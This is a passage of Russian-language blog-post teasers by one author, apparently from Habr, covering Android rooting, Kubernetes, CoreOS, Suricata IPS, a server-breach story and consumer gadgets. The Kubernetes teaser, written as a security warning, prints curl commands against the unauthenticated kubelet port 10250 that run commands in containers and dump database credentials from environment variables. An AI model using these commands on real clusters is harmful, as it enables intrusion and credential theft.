• Ломаем Android. Как глубока кроличья нора?

      image


      Мой первый Android телефон Galaxy Note N7000 был приобретен сразу после анонса в октябре 2011 года. Благодаря одному немецкому умельцу под ником bauner, у меня была возможность использовать последнюю версию CyanogenMod (ныне LineageOS). До тех пор, пока полтора года назад телефон не умер от китайской автомобильной зарядки.


      Замену искал долго и остановился на Kyocera (да, они и телефоны выпускают) KC-S701. Он отличается брутальным внешним видом и отсутствием сенсорных кнопок. О root доступе к телефону я тогда даже и не задумывался, полагая, что нынче каждый телефон тем или иным способом имеет возможность получения root. И найдется умелец, который сможет под него портировать CyanogenMod. Я ошибался.


      За полтора года было выпущено всего одно обновление — фикс падения ядра от специально сформированного ping пакета. А Android KitKat уже год назад был не первой свежести. Root доступ на этот телефон так никто и не получил, и никакой информации о нем не было. Отмечу, что тоже самое железо используется в американской версии телефона Kyocera Brigadier E6782, в котором по-умолчанию активизирован режим fastboot и нет ограничения на запуск неподписанных ядер (именно запуск, а не прошивку, и только при использовании непропатченного bootloader'а, CVE-2014-4325) и присутствует возможность загружаться в эти режимы путём зажатия кнопок телефона. Стараниями Verizon (а может Kyocera?) версия Android на Brigadier была обновлена до Lollipop.


      Итак, я решил разобраться с процессом получения root на Android самостоятельно.

      Читать дальше →
    • Предостережение для пользователей Kubernetes

        Сервис kubelet, с которым тесно общается apiserver, слушает порт 10250. Этот порт хоть и использует сертификаты, но лишь для шифрования канала, никакой авторизации на нём нет.


        Об этой проблеме известно давно, но почему-то никто не считает её серьезной. Ссылки на обсуждения:



        Что с этим можно сделать? Практически всё. Без регистрации и sms.


        Получить список всех pod'ов:


        $ curl -sk https://k8s-node-1:10250/runningpods/ | python -mjson.tool

        Выполнить команду внутри контейнера? Запросто:


        $ curl -k -XPOST "https://k8s-node-1:10250/run/kube-system/node-exporter-iuwg7/node-exporter" -d "cmd=ls -la /"

        Получить пароль на базу данных? Проще простого:


        $ curl -k -XPOST "https://k8s-node-1:10250/run/default/mysql-epg0f/mysql" -d 'cmd=env'

        Вытащить из неё данные тоже не составит труда.

      • Мгновенный запуск почти любой OS под Linux используя libvirt + qemu

          По ходу работы над CoreOS и Kubernetes мне приходилось часто воспроизводить окружения пользователей, чтобы помочь им решить проблему. Согласитесь, что при запуске OS при помощи контейнера, не всегда можно добиться полного функционала OS, т.к. часто приходилось решать вопросы, связанные с systemd.


          Так и родилась идея написать костыли, которые с легкостью помогут мне поднять кластер из почти любой оперционной системы, эдакий OpenStack в миниатюре. В настоящий момент в качестве гостевых полностью поддерживаются следующие OS:


          • Ubuntu
          • Debian
          • CentOS 6/7 + atomic
          • Fedora + atomic
          • CoreOS

          Частично:



          Публикации поспособствовал коллега, который случайно увидел, как я тестирую код. А теперь о преимуществах перед Vagrant. Первое преимущество — время. Например, три виртуальные машины создаются всего за 20-30 секунд.


          image
          Читать дальше →
          • +11
          • 22.6k
          • 5
        • Укрощаем пыл Plex на ARM устройствах

            Всё началось в моего вопроса в Toster. И вот уже полгода как я использую медиа сервер Plex. Для тех, кто о нём не слышал, поясню: это ПО, которое анализирует и структурирует вашу медиатеку, и предоставляет к ней доступ через web и не только, эдакий персональный Netflix без регистрации и SMS. Я использую Plex для просмотра фильмов и сериалов через браузер на ноутбуке или Chromebook.


            image


            Раньше мне приходилось настраивать NFS или Samba share, колдовать с automount(8), мириться с отваливанием share после suspend-resume, или просто копировать файлы по sftp/scp, но теперь я использую Тайд Plex. К сожалению, с ним тоже не всё просто.

            Читать дальше →
          • Обзор и программирование под стационарное интернет радио

            • Tutorial

            Несколько лет назад я уже выкладывал статью о том как из роутера сделать сетевую звуковую карту. Тот вариант требовал наличия активного источника звука и колонок. Переносной вариант выглядел бы слишком громоздким, потому было решено приобрести готовый продукт. По причине доступности и как самое дешевое из возможных вариантов (50 евро) я выбрал renkforce IR 1.


            image


            Из ключевых характеристик мне были важны следующие:


            Читать дальше →
          • Как я год работал на CoreOS

              Первый раз о CoreOS я услышал от Петра Леменкова на Yandex конференции “Дорога в облака” в сентябре 2013 года. Тогда я даже подумать не мог, что буду участвовать в разработке этой ОС.


              Второй раз о CoreOS я вспомнил в октябре 2014, когда поступила задача о переводе микросервисов, написанных на Ruby (которые использовали, как это ни странно разные версии Ruby), в более благоприятную среду для continuous integration. Тогда я первый раз запустил CoreOS, и мне она показалось ужасно неудобной в использовании. Документация к ней была поверхностная. Сервисы, которые превращали CoreOS в кластерную ОС, имели множество недоработок и вызывали только чувство раздражения из-за постоянных ошибок. О переводе даже части инфраструктуры на CoreOS не было и речи.


              В третий же раз, в марте 2015, поступила задача о предоставлении услуги поддержки в рамках community support для CoreOS. О том, как я справлялся, и пойдет речь.

              Читать дальше →
            • Suricata как IPS

                Предисловие


                Печально видеть, что статьи о предупреждении или предотвращении вторжений на хабре столь непопулярны.
                Курс молодого бойца: защищаемся маршрутизатором. Продолжение: IPS5 плюсов.
                SNORT как сервисная IPS25 плюсов.
                OSSEC: Большой Брат наблюдает за тобой13 плюсов.
                Однако, огромной популярностью пользуются статьи по разбору последствий проникновения. Попробую вбросить очередную популяризацию информационной безопасности.

                Описание Suricata



                Система предотвращения вторжений (англ. Intrusion Prevention System) — программная или аппаратная система сетевой и компьютерной безопасности, обнаруживающая вторжения или нарушения безопасности и автоматически защищающая от них.
                Системы IPS можно рассматривать как расширение Систем обнаружения вторжений (IDS), так как задача отслеживания атак остается одинаковой. Однако, они отличаются в том, что IPS должна отслеживать активность в реальном времени и быстро реализовывать действия по предотвращению атак. Возможные меры — блокировка потоков трафика в сети, сброс соединений, выдача сигналов оператору. Также IPS могут выполнять дефрагментацию пакетов, переупорядочивание пакетов TCP для защиты от пакетов с измененными SEQ и ACK номерами.
                wiki

                Suricata — open source IPS/IDS система. Основана разработчиками, которые трудились над IPS версией Snort. Основное отличие Suricata от Snort — возможность использования GPU в режиме IDS, более продвинутая система IPS, многозадачность, как следствие высокая производительность, позволяющая обрабатывать трафик до 10Gbit на обычном оборудовании, и многое другое, в том числе полная поддержка формата правил Snort. Лучше почитать обо всём на официальном сайте. Cегодня погорим об IPS.
                Читать дальше →
              • Создаём сетевую звуковую карту с преферансом и поэтессами

                  Вдохновленный топиками раз и два, решил соорудить нечто похожее.

                  В наличии:
                  — Один усилитель с колонками
                  — Один стационарный компьютер
                  — Один ноутбук
                  — Желание слушать интернет радио независимо от двух предыдущих пунктов и перетыканию проводов

                  В результате родился план собрать «audio card over ethernet». Исследовав вопрос совместимости оборудования, я выбрал роутер TP-link MR3020 и USB аудио-карточку Creative SB Play.

                  Что из этого получилось:


                  О том, как это получить, добро пожаловать под кат.
                  Читать дальше →
                • Немного о тестировании приложений и обратной связи с пользователями

                    В последнее время всё чаще встречается коммерческий софт, где находятся глупейшие ошибки, мешающие работе с ним. К сожалению в некоторой степени это касается навигационного софта. Начну с примеров.

                    Первый раз попался существенный косяк в ПО Навител. При вводе координат на клавиатуре отображался символ ` (обратные кавычки) вместо ', что стоило мне времени при поиске нужных координат. В багтрекере Навитела об этой ошибке знали давно, негодующих пользователей было множество, но фикс прошел только в 5-й версии. В то время как версия 3.5 разрабатывалась год как минимум. Что стоило разработчикам заменить всего лишь один символ? Пятая версия не является исключением. Почти каждую неделю выходят новые версии Navitel, где фиксится всё что угодно лишь не те проблемы, на которые жалуются пользователи.

                    Читать дальше →
                  • Нифига себе сходил за хлебушком, или история одного взлома

                      Всё началось с того, что ко мне (как к фрилансеру) обратились за помощью и попросили настроить exim4 так, чтобы почтовая рассылка не попадала в спам. Даже заботливо ссылку прислали на замечательную статью.

                      Работы на пару часиков включая обновление DNS, но не тут то было. Залогинившись под рутом я включил свой любимый screen по привычке командой screen -x и лицезрел прелюбопытнейшее действо в любимой многими папке /dev/shm. Злоумышленник не удосужился прикрыть сессию screen, либо всё еще работал в ней. И тут начинается квест:

                      Первое, что я сделал — просмотрел, чем же занимался злоумышленник:

                      Читать дальше →
                    • Kodak Zx5 — обновленное железо в обновленном корпусе

                        Продолжу серию обзоров карманных камкодеров от Kodak. На этот раз речь пойдет об обновленном Kodak Playsport, а именно Kodak Playsport Zx5. Обзор будет разбавлен впечатлениями о старой модели Kodak Zi8.

                        Улучшения в новой версии Playsport по отношению к предыдущим:
                        — Автофокус
                        — Улучшенное фокусное расстояние 37 мм против 40 и 42 мм у Zx3 и Zi8 соответственно (при разрешении 720p)
                        — Более чувствительная матрица, хоть и меньших размеров
                        — Меню прошивки Zx5 полностью переработано и отличается от Zx3 или Zi8
                        — В Zx5 после Zx3 вернули макро съемку
                        — Битрейт выше, чем у Zi8.
                        — Средняя цена в начале продаж 6000 руб вместо 7000 руб за Zi8.

                        Количество режимов съемки не изменилось, их всё еще 5:
                        WVGA — 848 x 480, 30 кадров/с (iPad compatible)
                        720p — 1280 x 720, 30 кадров/с
                        720p — 1280 x 720, 60 кадров/с
                        1080p — 1920 x 1080, 30 кадров/с
                        фото — 5,3 МП

                        Внешний вид и комплектация

                        Выглядит новое чудо техники вот так:


                        Читать дальше →
                      • ФАС против ограничения длины SMS сообщений на кириллице

                          ФАС направила запрос сотовым операторам на предмет нарушения прав россиян, которые отправляют SMS на кириллице. А именно, ограничение длины SMS сообщения до 70 символов вместо 160 на латинице.

                          Товарищи, это просто феноменально… Я конечно понимаю, что ФАС и понятия не имеет о формате PDU, который используется во всех мобильных телефонах и не позволяет кодировать UTF-16 сообщения более 70 символов в виду ограничений по длине пакетов, но новость люто порадовала.

                          Пруф
                        • Сбербанка пост

                            Жалоба это или нет, судить Вам. Сами сотрудники Сбербанка говорят, что всё законно и логично. Итак, повествование об опыте пользования услугами Сбербанка:

                            Завел я в Сбербанке счет на книжке и пластиковую карту. Основной капитал лежит на книжке и иногда я при помощи системы Сбербанк онлайн перечисляю себе деньги с книжки на карточку, и обычно эта процедура занимала около 2-х часов, чему я был «несказанно рад».

                            В один прекрасный день я решил уехать в другой город на праздники и мне потребовалась сумма в 20 тыс. рублей. Отделения рядом не было, был вечер, уезжаю рано утром на следующий день, поэтому я воспользовался услугой Сбербанк онлайн.

                            Дальше квест
                            Читать дальше →
                          • Изменяем диалоги открытия/сохранения файлов в Opera и Firefox

                              Полагаю, многие встречались с длительным ожиданием открытия диалога выбора файла в Gnome, особенно если папка содержит несколько файлов. Для проверки можете запустить из командной строки zenity --file-selection и открыть «тяжелую» папку. В худшем случае диалог, так и не загрузив список файлов, подвиснет и повесит за собой браузер с введённым текстом, который придётся заново печатать. В лучшем — ждать 1-3 секунды. Чтобы исправить эту ситуацию, следует изменить «File Selector» для браузера.
                              Читать дальше →
                            • Машина времени комсомольской правды

                                В 1959 году «Комсомолка» выпустила специальный предновогодний номер, где журналисты рискнули заглянуть на 50 лет вперед, выпустив номер от 1 января 2010 года.

                                img4.imageshack.us/img4/8770/komsomolka201007.jpg
                                img21.imageshack.us/img21/9519/komsomolka201008.jpg
                                img691.imageshack.us/img691/5893/komsomolka201009.jpg
                                img21.imageshack.us/img21/2364/komsomolka201010.jpg

                                © LOR
                              • SQL beautifier

                                  На хабре проскакивали статьи про PHP и Javascript beautifier'ы, но для SQL запросов я тут ничего не нашёл. Постараюсь исправить этот пробел.

                                  Наиболее популярный SQLinForm. Единственный минус этого решения является требование Java Runtime.

                                  Менее «фичастый» и более удобный для работы Instant SQL Formatter. Пример работы можно посмотреть здесь.
                                • Opera — скорость работы в linux

                                    Давно не давала покоя скорость отрисовки страниц в Linux (и работы в целом). В основном использую Linux, а когда нужно двухслойную болванку записать из образа CloneCD, то Windows.

                                    Решил запустить V8 Benchmark Suite — version 4 на Ubuntu Linux 9.04 и Windows XP SP3 (IE7) в виртуальной машине VirtualBox 2.1.4 (которая запускается из под той же Ubuntu Linux). Все прикладные Linux/Windows приложения были отключены. Дефолтное desktop окружение. Видео Intel 945, драйвер 2.7.99.901, дефолтные настройки X.org. Compiz отключен.

                                    Версия браузера под Windows:
                                    Opera Version: 9.64, Build: 10487
                                    Результат Windows — Score: 138

                                    Версия браузера под Linux:
                                    Opera Version: 9.64, Build: 2480
                                    Результат Linux — Score: 79.4

                                    Та же машина, браузер Firefox 3.0.11:
                                    Результат Windows — Score: 134
                                    Результат Linux — Score: 68.8

                                    На родной Opera под FreeBSD 6.4 такие же тараканы. Не претендую на эталонные замеры, но производительность в Linux ниже практически в два раза. И это при условии, что Windows запускается из под VirtualBox.

                                    UPD: Протестировал Opera 10:
                                    Результат Windows — Score: 135
                                    Результат Linux — Score: 95
                                  • Яндекс-Карты offline?

                                      Существует ли offline версия Яндекс-карт для ПК? Чтобы полностью поддерживался функционал масштабирования и перемещения по карте как в online версии? Поиск по улицам не обязателен. Желательна работа в Linux, или в конце концов WEB-приложение, которое можно развернуть на локальном WEB-сервере.

                                      Всё, что я нашел это offline версия карты Москвы для мобильного телефона, и «склеиватель» тайлов. Последнее не подходит, т.к. просмотр изображения подробной карты города потребует немало оперативной памяти. Современные нетбуки от такого размера напрочь повиснут.

                                      UPD: Любителям заминусовать. Мне нужно приложение для нетбука, т.к. в нашем городе скорость GPRS часто не превышает 3 кб/сек, и ждать загрузки картинок нет никакого желания.

                                      UPD2: Спасибо baxtep2 за ссылку на sasgis.ru (видимо уже не первый раз). Софт неплохо работает под Wine.